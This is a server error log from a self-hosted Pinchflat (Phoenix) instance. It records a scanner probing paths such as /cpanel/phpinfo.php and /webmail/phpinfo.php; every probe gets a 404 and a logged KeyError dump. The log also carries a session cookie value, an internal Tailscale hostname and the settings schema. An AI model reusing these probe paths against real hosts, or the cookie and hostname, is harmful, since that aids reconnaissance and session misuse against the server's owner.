PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/cpanel/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7IHTvWhJnWcAAT2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cpanel/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 247, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cpanel/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cpanel/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 247, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8S (truncated) 02:10:25.592 [info] GET /hosting/phpinfo.php 02:10:25.594 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=193.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.594 [debug] QUERY OK source="settings" db=0.2ms idle=129.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.594 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.595 [error] #PID<0.3552.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 248) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /hosting/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /hosting/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/hosting/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 248, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3552.0>, params: %{}, path_info: ["hosting", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/hosting/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7IV_DaoS3CMAAT3B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/hosting/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 248, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /hosting/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/hosting/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 248, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW- (truncated) 02:10:25.652 [info] GET /webmail/phpinfo.php 02:10:25.653 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=188.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.654 [debug] QUERY OK source="settings" db=0.1ms idle=121.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.654 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.655 [error] #PID<0.3553.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 249) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /webmail/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /webmail/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webmail/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 249, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3553.0>, params: %{}, path_info: ["webmail", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/webmail/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7IkQY_MX6A8AAT4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webmail/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 249, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /webmail/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webmail/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 249, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW- (truncated) 02:10:25.716 [info] GET /smtp/phpinfo.php 02:10:25.717 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=183.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.717 [debug] QUERY OK source="settings" db=0.2ms idle=123.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.718 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.718 [error] #PID<0.3554.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 250) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /smtp/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /smtp/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/smtp/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 250, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3554.0>, params: %{}, path_info: ["smtp", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/smtp/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7IzWLZEIYNoAAT5B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/smtp/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; 